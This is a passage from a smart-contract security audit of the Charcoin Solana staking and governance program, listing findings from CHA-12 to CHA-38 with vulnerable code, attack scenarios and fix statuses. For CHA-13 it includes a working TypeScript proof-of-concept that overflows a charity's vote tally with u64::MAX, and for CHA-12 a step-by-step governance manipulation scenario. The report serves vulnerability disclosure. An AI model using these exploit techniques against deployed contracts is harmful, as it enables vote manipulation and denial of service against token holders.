[Charcoin, 06/27/2025]: The team resolved the issue by removing this functionality in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-12 POTENTIAL WHALE RISK IN `vote_on_proposal` INSTRUCTION ENABLES BLOCK OF PROPOSAL EXECUTION

Category	Severity	Location	Status
Design Issue, Logical Issue	Major	programs/charcoin/src/donation.rs (v3(de5eaf8)): 67; programs/charcoin/src/governance.rs (pre(fb1d631)): 65~70	Resolved

Description

The `vote_on_proposal` instruction enables stakers to vote on specific proposals. However, the current implementation lacks critical checks to ensure that:

1. a staker has not already submitted an unstake request, and
2. a single staker is not voting on multiple proposals simultaneously.

This vulnerability may allow a large `CHAR` holder to manipulate proposal outcomes while still being able to withdraw all staked assets without restriction.

In the worst-case scenario—where multiple proposals have overlapping end times and the attacker holds more voting power than the leading side (either `yes_votes` or `no_votes`)—the attacker could reverse the results of multiple proposals simultaneously.

```
 65  pub fn vote_on_proposal(
 66      ctx: Context<VoteOnProposal>,
 67      proposal_id: u64,
 68      vote_choice: bool
 69
 70  ) -> Result<()> {
 71      let current_time = Clock::get()?.unix_timestamp;
 72      let proposal = &mut ctx.accounts.proposal;
 73      let user = &ctx.accounts.user;
 74  @>  require!(
 75  @>      user.total_amount > 0,
 76  @>      GovernanceError::NoStakedTokens
 77  @>  );
 78  @>  let amount_staked = user.total_amount;
 79  @>   require!(
 80  @>      current_time - user.first_staked_at >= 15 * 86400,
 81  @>      GovernanceError::VotingNotEligible
 82  @>  );
 83  @>
 84  @>  require!(
 85  @>      current_time < proposal.end_time,
 86  @>      GovernanceError::VotingPeriodEnded
 87  @>  );
 88      ....
 89
 90      Ok(())
 91  }
```

The `request_unstake_tokens()` function allows stakers to submit unstake requests at any time. After the minimum staking duration elapses, they can withdraw their entire staked amount without any penalties.

```
 53  pub fn request_unstake_tokens(ctx: Context<UnstakeRequest>,_index:u64) ->
Result<()> {
 54      let user_stake = &mut ctx.accounts.user_stake;
 55
 56      require!(user_stake.amount > 0, StakingError::NoStakedTokens);
 57      require!(user_stake.unstake_requested_at == 0, StakingError::
UnstakeAlreadyRequested);
 58      require!(!user_stake.unstaked, StakingError::AlreadyUnStaked);
 59
 60  @>  user_stake.unstake_requested_at = Clock::get()?.unix_timestamp;
 61      msg!(
 62          "Unstake requested for {} tokens at {}",
 63          user_stake.amount,
 64          user_stake.unstake_requested_at
 65      );
 66      Ok(())
 67  }
```

Additionally, there is no maximum limit enforced on

1. the amount that can be staked in a single `UserStakeEntry`.
2. the number of `UserStakeEntry` owned by a single user.
3. total staked amount of a single user.

These allows attacker to rapidly have vote power via staking a large amount `CHAR` or accumulate vote power via staking many times.

```
pub fn stake_tokens(ctx: Context<Stake>, amount: u64, lockup: u64) -> Result<()
> {
    let staking_pool = &mut ctx.accounts.staking_pool;
    let user = &mut ctx.accounts.user;
    let user_stake = &mut ctx.accounts.user_stake;

@>  require!(
@>      lockup == 30 || lockup == 90 || lockup == 180,
@>      StakingError::WrongStakingPackage
@>  );

    ....

@>  user_stake.amount = amount;

    ....

@>  user.total_amount += amount;
    user.stake_count += 1;

    msg!("Staked {} tokens", amount);
    Ok(())
}
```

Scenario

Assume the following setup:

- **Proposal-A** ends at *2025-06-30 24:00*.
- **Alice** staked a large amount of `CHAR` tokens (500,000) on *2025-05-26 00:00*, with a **30-day lockup** period.
- On *2025-06-27 00:00*, Alice submits an unstake request.

Exploit Scenario:

1. The current time is just before Proposal-A ends (*2025-06-30 24:00*), and Alice's stake lockup has expired.
2. Alice observes that:
    - `yes-votes`: 100,000 → Proposal-A is set to be approved.

- `no-votes` : 50,000

3. Alice votes **"no"** by calling `vote_on_proposal_handler` , adding 500,000 votes to the "no" side.
    - `yes-votes` : 100,000
    - `no-votes` : 550,000 → The proposal is now rejected.
4. Immediately after, Alice calls `unstake_tokens_handler` to withdraw her 500,000 `CHAR` tokens without penalty.
5. Now, Proposal-A end time is passed.
6. Result: Alice manipulates the proposal outcome while unstake cooling-off period is useless, effectively undermining governance integrity.

Recommendation

Recommend refactoring the code to avoid the impacts of potential whale risk.

Alleviation

[Charcoin, 07/10/2025]: The team heeded the advice and resolved the issue by adding code logic to decrease voting power once user requests unstake in commit 4545c413e3d7e66640306a7ab32d2753c6c8eb72.

[CertiK, 07/10/2025]: The audit team strongly recommend Charcoin team to ensure `CHAR` token initial distribution does not pose a potential whale holder.

CHA-13 NO RESTRICTION UPON `vote_weight` IN `cast_vote` INSTRUCTION ENABLES BLOCK OF CHARITY VOTE

Category	Severity	Location	Status
Coding Issue	Major	programs/charcoin/src/donation.rs (pre(fb1d631)): 98~102	Resolved

Description

The following code block is intended to cast a vote for a specific Charity. However, it lacks proper validation for the `vote_weight` argument, leading to critical vulnerabilities:

1. No upper limit is enforced on `vote_weight`.
2. `vote_weight` is not derived from the user's staked amount.

An attacker with minimal voting power can still exploit this by passing an excessively large value (e.g., `u64::MAX`) as `vote_weight`, causing `charity.total_votes` to reach the maximum `u64` limit. Any subsequent addition would result in an overflow error, effectively preventing legitimate stakers from voting for that Charity.

The worst-case scenario is that an attacker can disable any active Charity by selecting a specific `vote_weight` value that causes `charity.total_votes` to overflow to `u64::MAX`.

```
74  pub fn cast_vote(ctx: Context<CastVote>, vote_weight: u64) -> Result<()> {
75      let clock = Clock::get()?.unix_timestamp;
76      let user = &ctx.accounts.user;
77      require!(
78          user.total_amount > 0,
79          CharityError::NoStakedTokens
80      );
81      require!(
82          clock - user.first_staked_at >= 15 * 86400,
83          CharityError::VotingNotEligible
84      );
85
86      let charity = &mut ctx.accounts.charity;
87      // Ensure voting is active.
88      require!(
89          clock >= charity.start_time && clock <= charity.end_time,
90          CharityError::VotingNotActive
91      );
92
93      let vote_record = &mut ctx.accounts.vote_record;
94      if vote_record.vote_weight == 0 {
95          // New vote.
96          vote_record.charity = charity.key();
97          vote_record.voter = ctx.accounts.voter.key();
98  @>      vote_record.vote_weight = vote_weight;
99  @>      charity.total_votes = charity
100 @>          .total_votes
101 @>          .checked_add(vote_weight)
102 @>          .ok_or(CharityError::MathError)?;
103         msg!(
104             "Voter {} cast {} votes for charity {}",
105             vote_record.voter,
106             vote_weight,
107             charity.name
108         );
109     } else {
```

Proof of Concept

Assumption

1. Delete the `VotingNotEligibale` check statement within `cast_vote()` function.

POC Code

```
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { Charcoin } from "../target/types/charcoin";
import { createMint, getOrCreateAssociatedTokenAccount, mintTo, TOKEN_PROGRAM_ID }
from "@solana/spl-token";
import { assert, use } from "chai";

async function confirmTransaction(tx: string) {
  const latestBlockHash = await
anchor.getProvider().connection.getLatestBlockhash();
  await anchor.getProvider().connection.confirmTransaction({
    blockhash: latestBlockHash.blockhash,
    lastValidBlockHeight: latestBlockHash.lastValidBlockHeight,
    signature: tx,
  });
}

async function airdropSol(publicKey: anchor.web3.PublicKey, amount: number) {
  let airdropTx = await anchor.getProvider().connection.requestAirdrop(publicKey,
amount);
  await confirmTransaction(airdropTx);
}

describe("char coin test", () => {
  anchor.setProvider(anchor.AnchorProvider.env());

  const admin = anchor.web3.Keypair.generate()
  const user = anchor.web3.Keypair.generate();
  const attacker = anchor.web3.Keypair.generate();

  const program = anchor.workspace.charcoin as Program<Charcoin>;
  const configAccount = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from('config')],
    program.programId
  );




  // Derive monthly reward wallet PDA
  let monthlyRewardWallet = anchor.web3.Keypair.generate()
  // Derive annual reward wallet PDA
  let annualRewardWallet = anchor.web3.Keypair.generate()

  // Derive monthly donation wallet PDA
  let monthlyDonationWallet = anchor.web3.Keypair.generate()

  // Derive annual charity wallet PDA
  let annualDonationWallet = anchor.web3.Keypair.generate()
```

```
let chaiFunds = anchor.web3.Keypair.generate()
let marketingWallet1 = anchor.web3.Keypair.generate()
let marketingWallet2 = anchor.web3.Keypair.generate()
let deathWallet = anchor.web3.Keypair.generate()
let treasuryAuthority = anchor.web3.Keypair.generate()


let tokenMint;
let userAta;
let attackerAta;
let stakingPoolAta
let stakingPool
let userStakePDA;
let attackerStakePDA;

let stakingRewardAccount;

before(async () => {
  await airdropSol(admin.publicKey, 20 * 1e9); // 20 SOL
  await airdropSol(user.publicKey, 5 * 1e9);
  await airdropSol(attacker.publicKey, 5 * 1e9);

  tokenMint = await createMint(
    program.provider.connection,
    admin,
    admin.publicKey,
    null,
    6 // decimals
  );

  [stakingPool] = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from('staking_pool'), tokenMint.toBuffer()],
    program.programId
  );

  [stakingRewardAccount] = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from('staking_reward')],
    program.programId
  );
  userAta = await getOrCreateAssociatedTokenAccount(
    program.provider.connection,
    user,
    tokenMint,
    user.publicKey
  );
  await mintTo(
    program.provider.connection,
    admin, // fee payer
    tokenMint,
```

```
      userAta.address, // destination ATA
      admin, // mint authority
      1_000_000_00000
    );

    attackerAta = await getOrCreateAssociatedTokenAccount(
        program.provider.connection,
        attacker,
        tokenMint,
        attacker.publicKey,
    );
    await mintTo(
        program.provider.connection,
        admin,
        tokenMint,
        attackerAta.address,
        admin,
        1_000_000_00000,
    )

    stakingPoolAta = await getOrCreateAssociatedTokenAccount(
      program.provider.connection,
      admin,
      tokenMint,
      stakingPool,
      true
    );

    [userStakePDA] = anchor.web3.PublicKey.findProgramAddressSync(
      [Buffer.from('user'), user.publicKey.toBuffer()],
      program.programId
    );

    [attackerStakePDA] = anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from('user'), attacker.publicKey.toBuffer()],
        program.programId
    )
  })

  it("initialized", async () => {
    // Add your test here.
    const context = {
      user: admin.publicKey,
      systemProgram: anchor.web3.SystemProgram.programId,
      config: configAccount,
      mint: tokenMint
    }
    // Define configuration parameters
    const config = {
```

```
      chaiFunds: chaiFunds.publicKey,
      marketingWallet1: marketingWallet1.publicKey,
      marketingWallet2: marketingWallet2.publicKey,
      admin: admin.publicKey,
      monthlyRewardWallet: monthlyRewardWallet.publicKey,
      annualRewardWallet: annualRewardWallet.publicKey,
      monthlyDonationWallet: monthlyDonationWallet.publicKey,
      annualDonationWallet: annualDonationWallet.publicKey,
      deathWallet: deathWallet.publicKey,
      treasuryAuthority: treasuryAuthority.publicKey,
    };
    await program.methods.initialize(config)
      .accounts(context)
      .signers([admin])
      .rpc();

    await program.methods
      .stakingInitialize(new anchor.BN(0.01e6))
      .accounts({
        stakingPool: stakingPool,
        stakingRewardAccount: stakingRewardAccount,
        authority: admin.publicKey,
        tokenMint: tokenMint,
        poolTokenAccount: stakingPoolAta.address,
        systemProgram: anchor.web3.SystemProgram.programId,
        tokenProgram: TOKEN_PROGRAM_ID,
        rent: anchor.web3.SYSVAR_RENT_PUBKEY,
      })
      .signers([admin])
      .rpc();

  });


  it("stake", async () => {
    // user stake
    let [userStake] = anchor.web3.PublicKey.findProgramAddressSync(
      [Buffer.from('user_stake'), user.publicKey.toBuffer(), new
anchor.BN(0).toArrayLike(Buffer, "le", 8)],
      program.programId
    );
    await program.methods
      .stakeTokensHandler(
        new anchor.BN(1e6), // 1 tokens
        new anchor.BN(30) // 30 days
      )
      .accounts({
        configAccount: configAccount,
```

```
        stakingPool: stakingPool,
        user: userStakePDA,
        userStake: userStake,
        userAuthority: user.publicKey,
        userTokenAccount: userAta.address,
        poolTokenAccount: stakingPoolAta.address,
        systemProgram: anchor.web3.SystemProgram.programId,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([user])
      .rpc();

    // attacker stake
    let [attackerStake] = anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from('user_stake'), attacker.publicKey.toBuffer(), new
anchor.BN(0).toArrayLike(Buffer, "le", 8)],
        program.programId
    );
    await program.methods
      .stakeTokensHandler(
        new anchor.BN(1e6), // 1 tokens
        new anchor.BN(30) // 30 days
      )
      .accounts({
        configAccount: configAccount,

        stakingPool: stakingPool,
        user: attackerStakePDA,
        userStake: attackerStake,
        userAuthority: attacker.publicKey,
        userTokenAccount: attackerAta.address,
        poolTokenAccount: stakingPoolAta.address,
        systemProgram: anchor.web3.SystemProgram.programId,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([attacker])
      .rpc();


    const data = await program.account.userStakeInfo.fetch(attackerStakePDA)
    const stake_data = await program.account.userStakesEntry.fetch(attackerStake)

    assert.equal(Number(data.totalAmount), 1e6);
    assert.equal(Number(stake_data.lockup),30);

  });


  it("register Charity", async () => {
```

```
    let data = await program.account.configAccount.fetch(configAccount[0])

    let name = "Water for All";
    let description = "Water for underserved communities";
    const [charityAccount] = anchor.web3.PublicKey.findProgramAddressSync(
      [Buffer.from('charity'), data.config.nextCharityId.toArrayLike(Buffer, "le",
8)],
      program.programId
    );

    let startTime = Math.floor(Date.now() / 1000);
    let endTime = Math.floor(Date.now() / 1000) + 60;
    const charityWallet = anchor.web3.Keypair.generate()
    const tx = await program.methods
      .registerCharityHandler(
        name,
        description,
        charityWallet.publicKey,
        new anchor.BN(startTime),
        new anchor.BN(endTime)
      )
      .accounts({
        configAccount: configAccount,
        charity: charityAccount,
        registrar: user.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
      })
      .signers([user])
      .rpc();
  })

  it("attack_charity_vote", async() => {
      const [charityAccount] = anchor.web3.PublicKey.findProgramAddressSync(
          [Buffer.from('charity'), new anchor.BN(0).toArrayLike(Buffer, "le", 8)],
          program.programId
      );
      const [voteRecord] = anchor.web3.PublicKey.findProgramAddressSync(
          [Buffer.from('vote'), charityAccount.toBuffer(),
attacker.publicKey.toBuffer()],
          program.programId
      );

      const U64_MAX: bigint = BigInt("18446744073709551615");
      const tx = await program.methods
          .castVoteHandler(
              new anchor.BN(U64_MAX.toString()),//voteWeight
          )
          .accounts({
              voteRecord: voteRecord,
```

```
            voter: attacker.publicKey,
            configAccount: configAccount,
            charity: charityAccount,
            user: attackerStakePDA,
            stakingPool: stakingPool,
            systemProgram: anchor.web3.SystemProgram.programId,
          })
          .signers([attacker])
          .rpc();

      const charityAccountFields = await
program.account.charity.fetch(charityAccount);
      assert.isTrue(charityAccountFields.totalVotes.eq(new
anchor.BN(U64_MAX.toString())));
  })

  it("castVote", async () => {
      const [charityAccount] = anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from('charity'), new anchor.BN(0).toArrayLike(Buffer, "le", 8)],
        program.programId
      );
      const [voteRecord] = anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from('vote'), charityAccount.toBuffer(), user.publicKey.toBuffer()],
        program.programId
      );

      const tx = await program.methods
        .castVoteHandler(
          new anchor.BN(500),//voteWeight
        )
        .accounts({
          voteRecord: voteRecord,
          voter: user.publicKey,
          configAccount: configAccount,
          charity: charityAccount,
          user: userStakePDA,
          stakingPool: stakingPool,
          systemProgram: anchor.web3.SystemProgram.programId,
        })
        .signers([user])
        .rpc();
  })


});
```

Result

```
  char coin test
    ✔ initialized (1000ms)
    ✔ stake (928ms)
    ✔ register Charity (453ms)
    ✔ attack_charity_vote (477ms)
    1) castVote


  4 passing (7s)
  1 failing

  1) char coin test
       castVote:
     Error: AnchorError occurred. Error Code: MathError. Error Number: 6003. Error
Message: Math error occurred..
      at AnchorError.parse (node_modules/@coral-xyz/anchor/src/error.ts:136:14)
      at translateError (node_modules/@coral-xyz/anchor/src/error.ts:277:35)
      at MethodsBuilder.rpc [as _rpcFn] (node_modules/@coral-
xyz/anchor/src/program/namespace/rpc.ts:35:29)
      at processTicksAndRejections (node:internal/process/task_queues:105:5)



error Command failed with exit code 1.
```

Recommendation

Recommend refactoring codes to avoid block of Charity vote.

Alleviation

[Charcoin, 06/27/2025]: The team resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-45 POTENTIAL BLOCK OF UNSTAKE AND VOTING POWER LOSS IN `request_unstake_tokens()` FUNCTION

Category	Severity	Location	Status
Logical Issue	Major	programs/charcoin/src/staking.rs (v4(4545c41)): 100~109	Resolved

Description

The following code block is intended to update a user's voting power during an unstake request. However, the current implementation has the following issues:

1. `user.voting_power -= vote_weight` may cause an underflow error, preventing the user from successfully unstaking.
2. It may unintentionally clear voting power associated with other stake entries.

```
 100  pub fn request_unstake_tokens(ctx: Context<UnstakeRequest>, _stake_id: u64) ->
Result<()> {
 101      ....
 102      if user.voting_power != 0 {
 103          let lockup_reward = staking_pool
 104          .stake_lockup_reward_array
 105          .iter()
 106          .find(|x| x.lockup_days == user_stake.lockup)
 107          .ok_or(CustomError::WrongStakingPackage)
 108          .unwrap();
 109          let vote_weight = (lockup_reward.vote_power as u128 * user_stake.
amount as u128 / 1000) as u64;
 110          user.voting_power -= vote_weight;
 111      }
 112
 113      ....
 114  }
```

Scenario

Assuming the voting power for a 30-day lockup is 1:

Block of Unstake case:

1. Alice stakes 100 `CHAR` tokens for a 30-day lockup and receives 100 voting power.
2. Alice votes for Charity-A, consuming all 100 voting power.
3. Alice stakes an additional 50 `CHAR` tokens for a 30-day lockup, gaining 50 more voting power.

4. Alice attempts to unstake the 100 `CHAR` tokens from step 1.
    - `user.voting_power - vote_weight = 50 - 100`, which results in an overflow error.
5. Consequently, Alice is unable to unstake the original 100 `CHAR` tokens.

Voting Power Loss case:

1. Alice stakes 100 `CHAR` tokens for a 30-day lockup and receives 100 voting power.
2. Alice votes for Charity-A, consuming all 100 voting power.
3. Alice stakes an additional 100 `CHAR` tokens for a 30-day lockup, gaining 100 more voting power.
4. Alice attempts to unstake the 100 `CHAR` tokens from step 1.
    - `user.voting_power - vote_weight = 100 - 100 = 0`.
5. Consequently, the voting power gained in step-3 is loss.

Recommendation

Recommend refactoring the code to

1. prevent blocking users from performing unstake operations.
2. and prevent clearing voting power of other stake entries.

Alleviation

[Charcoin, 07/14/2025]: The team heeded the advice and resolved the issue in commit 4045eccca9fb983df7b44ac0be5c8f592cbdcd06.

CHA-03 MISSING MINT ACCOUNT VALIDATION IN `StakeInitialize` INSTRUCTION

Category	Severity	Location	Status
Coding Issue	Medium	programs/charcoin/src/staking.rs (pre(fb1d631)): 218, 235	Resolved

Description

The following code block is intended to create a staking pool. However, there is an inconsistency in the creation of the `staking_pool` and `staking_reward` PDAs.

According to the `StakeInitialize` definition, multiple `staking_pool` accounts can be initialized using different `token_mint` values. In contrast, the `staking_reward` account can only be initialized once, leading to potential conflicts or unexpected behavior.

```
212 #[derive(Accounts)]
213 pub struct StakeInitialize<'info> {
214     #[account(
215         init,
216         payer = authority,
217         space = 8 + std::mem::size_of::<StakingPool>(),
218 @>      seeds = [b"staking_pool".as_ref(), token_mint.key().as_ref()],
219         bump
220     )]
221     pub staking_pool: Account<'info, StakingPool>,
222 @>  #[account(
223 @>      init,
224 @>      payer = authority,
225 @>      space = 8,
226 @>      seeds = [b"staking_reward".as_ref()],
227 @>      bump
228 @>  )]
229 @>  pub staking_reward: Account<'info, StakingRewards>,
230
231     #[account(mut)]
232     pub authority: Signer<'info>,
233
234     // Modified to remove the constraint for the specific mint address
235     pub token_mint: Account<'info, Mint>,
236     pub pool_token_account: Account<'info, TokenAccount>,
237     pub system_program: Program<'info, System>,
238 }
```

Recommendation

Recommend refactoring codes to ensure only `CHAR` SPL token is allowed to initialize staking pool.

Alleviation

[Charcoin, 06/27/2025]: The team heeded the advice and resolved the issue by adding `token_mint` validation logic in commit 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-14 INCORRECT REWARD CALCULATION IN STAKING CONTRACT

Category	Severity	Location	Status
Logical Issue	Medium	programs/charcoin/src/staking.rs (pre(fb1d631)): 174	Resolved

Description

The reward amount is calculated based on `user_stake.amount`, `staking_pool.rate_per_second`, `elapsed_time`, and `periods`. However, the current reward calculation in the staking contract is flawed, leading to inconsistent and unfair reward distribution among users. The calculation uses the formula:

```
let reward = (user_stake.amount) * (staking_pool.rate_per_second) * (elapsed_time as u64) * periods;
```

Consider the following case:

1. **Initial Staking:** Two users, Amy and Bob, both stake 100 tokens at 0 seconds. Assuming that `staking_pool.rate_per_second` is set to 10 and the `min_staking_duration` is 10 seconds.
2. **First Claim by Amy:** At 10 seconds, Amy claims her reward. The calculation yields:
    - Reward = 100 * 10 * 10 * 1 = 1000 tokens.
3. **Second Claim by Amy and First by Bob:** At 20 seconds, Amy claims again, and Bob claims for the first time.
    - Amy's Reward = 100 * 10 * 10 * 2 = 2000 tokens.
    - Bob's Reward = 100 * 10 * 20 * 2 = 4000 tokens.

The discrepancy arises because the reward calculation multiplies `elapsed_time` by `periods`, causing Bob to earn more despite the same staking amount and duration. The reward amount increases over time even if `elapsed_time` remains constant.

Recommendation

We recommend revising the reward calculation logic to ensure fair reward distribution.

Alleviation

[Charcoin, 06/27/2025]: The team resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-15 MISSING REWARD CLAIM IN `unstake_tokens` INSTRUCTION ENABLES LOSS OF STAKING REWARD

Category	Severity	Location	Status
Logical Issue	Medium	programs/charcoin/src/staking.rs (pre(fb1d631)): 137~139, 152	Resolved

Description

```
69  pub fn unstake_tokens(ctx: Context<Unstake>,_index:u64) -> Result<()> {
70      let user = &mut ctx.accounts.user;
71      let user_stake = &mut ctx.accounts.user_stake;
72
73      ....
74
75      user_stake.amount = 0;
76      user_stake.staked_at = 0;
77      user_stake.unstake_requested_at = 0;
78
79      ....
80  }
```

The code block is intended to reset the `UserStakesEntry` account fields after staking assets are withdrawn. However, it lacks logic to allow users to claim their accumulated rewards. As a result, if users do not claim their rewards before withdrawing their staked assets, they will lose these rewards.

Additionally, the boolean condition at line 152 requires the `UserStakesEntry` to remain active during reward claiming, effectively preventing reward claims after unstaking.

```
146 pub fn claim_reward(ctx: Context<ClaimReward>,_index:u64) -> Result<()> {
147         let staking_pool = &mut ctx.accounts.staking_pool;
148
149     let user = &mut ctx.accounts.user;
150     let user_stake = &mut ctx.accounts.user_stake;
151
152 @>  require!(user_stake.amount > 0, StakingError::NoStakedTokens);
153
154     ....
155
156 }
```

Recommendation

Recommend refactoring codes to ensure users' reward finally can be claimed.

Alleviation

[Charcoin, 06/27/2025]: The team resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-16 MISSING WITHDRAWAL AMOUNT VALIDATION IN `create_withdrawal` INSTRUCTION MAY LOCK TREASURY SOL ASSETS

Category	Severity	Location	Status
Logical Issue, Design Issue	Medium	programs/charcoin/src/governance.rs (pre(fb1d631)): 307~308	Resolved

Description

The following code handles treasury fund withdrawals. However, it lacks logic to verify whether the requested withdrawal amount equals the total SOL balance of the `treasury` PDA.

Since the `create_withdrawal` instruction can only be executed once—allowing the creation of a single `WithdrawalProposal` account—any remaining SOL in the `treasury` PDA will become permanently locked if the requested amount is less than the total balance.

```
298 #[derive(Accounts)]
299 pub struct CreateWithdrawal<'info> {
300   #[account(
301             mut,
302             seeds=[b"config".as_ref()],
303             bump
304         )]    pub config_account: Account<'info, ConfigAccount>,
305     #[account(mut)]
306     pub treasury: Account<'info, Treasury>,
307 @>  #[account(init, payer = signer, seeds=[b"withdrawal".as_ref()],bump,space =
8 + 8 + 32 + (32 * 10) + 1)]
308 @>  pub withdrawal: Account<'info, WithdrawalProposal>,
309     #[account(mut,
310             constraint = signer.key() == config_account.config.admin,
311
312     )]
313     pub signer: Signer<'info>,
314     pub system_program: Program<'info, System>,
315 }
```

```
203 pub fn create_withdrawal(
204     ctx: Context<CreateWithdrawal>,
205     amount: u64,
206     recipient: Pubkey,
207 ) -> Result<()> {
208     let current_time = Clock::get()?.unix_timestamp;
209     let withdrawal = &mut ctx.accounts.withdrawal;
210     withdrawal.amount = amount;
211     ....
212 }
```

Recommendation

Recommend refactoring the code to prevent treasury fund lock. Potential solutions include:

1. Withdraw the entire treasury balance in a single transaction.
2. Allow multiple withdrawal requests from the treasury.

Alleviation

[Charcoin, 06/27/2025]: The team resolved the issue by removing the withdrawal functionality in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-17 DUPLICATE OWNERS IN `initialize_treasury` CAN PREVENT WITHDRAWALS

Category	Severity	Location	Status
Volatile Code	Medium	programs/charcoin/src/governance.rs (pre(fb1d631)): 173	Resolved

Description

In the `initialize_treasury` function, a list of owners is provided alongside a `threshold` representing the minimum number of approvals required for executing a withdrawal. However, the function does not validate that the owners list contains unique entries.

If the list includes duplicates, the actual number of distinct owners will be smaller than anticipated. This oversight can lead to a critical failure mode: if the `threshold` exceeds the number of unique owners, the condition `approvals.len() >= threshold` in `execute_withdrawal` can never be satisfied, permanently blocking any withdrawal attempts. This vulnerability could result in asset lock-up and unintentional denial-of-service.

For example, if the approvers list is [A, A] with a threshold of 2, the maximum number of distinct approvals is only 1. Consequently, the withdrawal request would be permanently blocked.

```
186      treasury.owners = owners;
```

Recommendation

Add a check in `initialize_treasury` to ensure all owners are unique before proceeding with initialization.

Alleviation

[Charcoin, 06/23/2025]: The client revised the code and resolved this issue in commit : 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c

CHA-19 INSUFFICIENT VOTE COOLING-OFF PERIOD CHECK OF STAKING ASSETS IN `vote_on_proposal` INSTRUCTION

Category	Severity	Location	Status
Design Issue	Medium	programs/charcoin/src/governance.rs (pre(fb1d631)): 79~82	Resolved

Description

The following code block is intended to verify whether the voter initially staked 15 days ago. However, it only checks the first stake, allowing a user to stake a very small amount initially and then stake other amounts after 15 days. Consequently, the newly staked `CHAR` can be used to vote immediately, bypassing the intended lock-up period.

```
79      require!(
80         current_time - user.first_staked_at >= 15 * 86400,
81         GovernanceError::VotingNotEligible
82      );
```

The `stake_tokens` instruction lacks a non-zero validation for the `amount` parameter, allowing a staker to deposit very small tokens to bypass the proposal vote cooling-off period.

```
7  pub fn stake_tokens(ctx: Context<Stake>, amount: u64, lockup: u64) -> Result<()>
{
8
9      ....
10
11     // update user stake entry
12     user_stake.stake_id = user.stake_count;
13     user_stake.amount = amount;
14
15     ....
16
17     if user.total_amount == 0 {
18         user.first_staked_at = clock.unix_timestamp;
19     }
```

Recommendation

Recommend refactoring the code to ensure that only assets staked at least 15 days ago are eligible for voting.

Alleviation

[Charcoin, 06/27/2025]: The team heeded the advice and resolved the issue by in commit

7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-38 EXCESSIVE STACK USAGE LEADING TO POTENTIAL UNDEFINED BEHAVIOR

Category	Severity	Location	Status
Coding Issue	Medium	programs/charcoin/src/rewards.rs (v2(7c0b97a)): 7	Resolved

Description

During the compilation of the program, several errors were identified, indicating stack overflow issues due to excessive stack usage.

```
Error: Function
_ZN131_$LT$charcoin..rewards..ReleaseMonthlyFunds$u20$as$u20$anchor_lang..Accounts$L
T$charcoin..rewards..ReleaseMonthlyFundsBumps$GT$$GT$12try_accounts17h22e240ddda16b2
f7E Stack offset of 4488 exceeded max offset of 4096 by 392 bytes, please minimize
large stack variables. Estimated function frame size: 6912 bytes. Exceeding the
maximum stack offset may cause undefined behavior during execution.

Error: Function
_ZN8charcoin9__private8__global21release_funds_handler17h8dc2d15c1fbed68fE Stack
offset of 5328 exceeded max offset of 4096 by 1232 bytes, please minimize large
stack variables. Estimated function frame size: 5376 bytes. Exceeding the maximum
stack offset may cause undefined behavior during execution.

Error: A function call in method
_ZN8charcoin9__private8__global21release_funds_handler17h8dc2d15c1fbed68fE
overwrites values in the frame. Please, decrease stack usage or remove parameters
from the call. The function call may cause undefined behavior during execution.
```

These issues are caused by large stack variables and can lead to unexpected behavior during the execution of the funds release process.

Proof of Concept

We modified the case to print the `halted` value before calling the release function.

Code

```
    it("release Funds", async () => {
      //...
      let data = await program.account.configAccount.fetch(configAccount[0])
      console.log("program halted: ", data.config.halted);

      await program.methods
        .releaseFundsHandler(new anchor.BN(total))
        .accounts({
          configAccount: configAccount,
          stakingPool: stakingPool,
          treasuryAuthority: treasuryAuthority.publicKey,
          treasuryAta: treasuryAuthorityAta.address,
          charFundsAta: charFundsAta.address,
          monthlyTopTierAta:monthlyTopTierWalletAta.address,
          annualTopTierAta:annualTopTierWalletAta.address,
          monthlyCharityLotteryAta:monthlyCharityLotteryWalletAta.address,
          annualCharityLotteryAta:annualCharityLotteryWalletAta.address,
          monthlyOneTimeCausesAta:monthlyOneTimeCausesWalletAta.address,
          annualOneTimeCausesAta:annualOneTimeCausesWalletAta.address,

monthlyInfiniteImpactCausesAta:monthlyInfiniteImpactCausesWalletAta.address,
          annualInfiniteImpactCausesAta:annualInfiniteImpactCausesWalletAta.address,
          stakingRewardAta: stakingRewardAta.address,
          tokenProgram: TOKEN_PROGRAM_ID,
        })
        .signers([treasuryAuthority])
        .rpc();
    })
```

Result

We observed that `halted` was `false`, yet the `releaseFunds` function failed while other functions, such as `distributeMarketingFunds` and `buybackAndBurn`, succeeded.

```
     ✔ distribute marketing funds (301ms)
program halted:  false
    1) release Funds
    ✔ buyback and burn (457ms)


 1) char coin test
       release Funds:
     Error: AnchorError thrown in programs/charcoin/src/lib.rs:187. Error Code:
ProgramIsHalted. Error Number: 6003. Error Message: program is halted.
      at AnchorError.parse (node_modules/@coral-xyz/anchor/src/error.ts:152:14)
      at translateError (node_modules/@coral-xyz/anchor/src/error.ts:277:35)
      at MethodsBuilder.rpc [as _rpcFn] (node_modules/@coral-
xyz/anchor/src/program/namespace/rpc.ts:35:29)
      at processTicksAndRejections (node:internal/process/task_queues:105:5)
```

Recommendation

To mitigate these issues, consider the following actions:

1. **Minimize Large Stack Variables**: Refactor the code to use smaller stack variables or allocate large data structures on the heap instead of the stack.
2. **Optimize Function Calls**: Reduce the number of parameters passed to functions or break down complex functions into smaller, more manageable ones to decrease stack usage.
3. **Review and Test**: Conduct thorough testing to ensure that the refactored code does not introduce new issues and behaves as expected.

